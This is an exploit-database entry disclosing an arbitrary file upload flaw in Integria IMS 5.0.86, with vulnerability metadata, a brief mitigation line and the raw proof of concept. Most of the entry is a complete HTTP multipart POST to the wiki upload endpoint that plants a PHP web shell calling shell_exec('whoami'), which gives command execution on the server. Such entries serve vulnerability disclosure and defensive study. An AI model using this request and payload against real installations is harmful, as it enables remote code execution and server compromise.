Integria IMS 5.0.86 - Arbitrary File Upload

vendor:

Integria IMS

by:

Greg.Priest

7.5

CVSS

HIGH

Arbitrary File Upload

CWE

Product Name: Integria IMS

Affected Version From: Integria IMS 5.0.86

Affected Version To: Integria IMS 5.0.86

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows

2019

Integria IMS 5.0.86 – Arbitrary File Upload

filemgr.php in Integria IMS 5.0.86, allows arbitrary file upload.

Mitigation:

Implement proper input validation and file upload restrictions. Apply security patches or updates provided by the vendor.

Source

Exploit-DB raw data:

# Exploit Title: Integria IMS 5.0.86 - Arbitrary File Upload
# Date: 2019-08-16
# Exploit Author: Greg.Priest
# Vendor Homepage: https://integriaims.com/
# Software Link: https://sourceforge.net/projects/integria/files/5.0.86/
# Version: Integria IMS 5.0.86
# Tested on: Windows
# CVE : N/A

# ---------------------------------------------------------------------------------------
# http://10.61.184.30/integria//index.php?sec=wiki&sec2=operation/wiki/wiki&action=upload
# ---------------------------------------------------------------------------------------

# [Description]
# filemgr.php in Integria IMS 5.0.86, allows arbitrary file upload.
# index.php?sec=wiki&sec2=operation/wiki/wiki&action=upload
# ---------------------------------------------------------------------------------------

POST /integria/index.php?sec=wiki&sec2=operation/wiki/wiki&action=upload HTTP/1.1
Host: 10.61.184.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: hu-HU,hu;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.61.184.30/integria/index.php?sec=wiki&sec2=operation/wiki/wiki&action=upload
Content-Type: multipart/form-data; boundary=---------------------------30333176734664
Content-Length: 374
Connection: close
Cookie: PHPSESSID=1d31d410e9b85f1e9aaa53a2616a550e
Upgrade-Insecure-Requests: 1

-----------------------------30333176734664
Content-Disposition: form-data; name="curdir"


-----------------------------30333176734664
Content-Disposition: form-data; name="file"; filename="whoami.php"
Content-Type: application/octet-stream

<?php
$output = shell_exec('whoami');
echo "<pre>$output</pre>";
?>

-----------------------------30333176734664--